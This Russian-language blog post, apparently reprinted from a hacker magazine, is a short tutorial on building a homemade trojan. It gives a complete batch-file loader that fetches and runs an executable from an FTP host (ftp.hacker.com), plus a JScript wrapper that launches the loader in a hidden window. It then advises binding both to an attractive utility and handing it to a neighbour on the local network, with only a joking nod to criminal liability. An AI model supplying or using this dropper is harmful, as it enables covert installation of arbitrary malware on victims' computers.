В последнее время в Сети появилось огромное множество самых разнообразных троянов. На страницах журнала мы не раз описывали принцип действия распространенных зверьков, поэтому возвращаться к этому мы не будем. Лучше рассмотрим достаточно простой в реализации, но вполне работоспособный вариант собственного производства. Ведь все, что есть в паблике, ты и так найдешь, не правда ли? :) Суть идеи такова: заюзать стандартный виндовый батник (с заранее описанными командами) и Java-скрипт, который будет прикрывать батник в процессе выполнения.
Для осуществления задуманного нам понадобится:
1. Любой FTP-сервер, к которому имеется доступ. Вполне сгодится какой-нибудь из бесплатных шаред-хостингов.
2. Заранее написанный батник-лоадер.
3. Заранее написанный Java-скрипт, который будет запускать лоадер в скрытом режиме.
Далее приступим к созданию батника-лоадера:
1. Создаем файл loader.bat.
2. Заносим в него следующие команды:
echo off
echo open ftp.hacker.com>log.txt&&echo login>>log.txt&&echo password>>log.txt&&echo get file.exe>>log.txt&&echo bye>>log.txt
ftp -s:log.txt
file.exe
del log.txt
3. Теперь посмотрим на созданный нами лоадер более трезвым взглядом:
- login - логин от твоего FTP-сервера,
- password - пароль от твоего FTP-сервера,
- ftp.hacker.com - собственно, сам FTP'шник,
- file.exe - файл, который мы сливаем с FTP-сервера.
Итак, батник готов, настала очередь Java-скрипта:
1. Создаем скрипт script.js.
2. Записываем в него:
var WSHShell = WScript.CreateObject("WScript.Shell");
WSHShell.Run("loader.bat",0);
На этом создание функционала завершено :). Остается лишь склеить лоадер и Java-скрипт с какой-нибудь интересной утилой, которую удастся всучить соседу-локальщику. Я искренне надеюсь, что file.exe будет запускать калькулятор и ничего больше. В противном случае, ты загремишь под 273 статью УК РФ.
Комментариев нет:
Отправить комментарий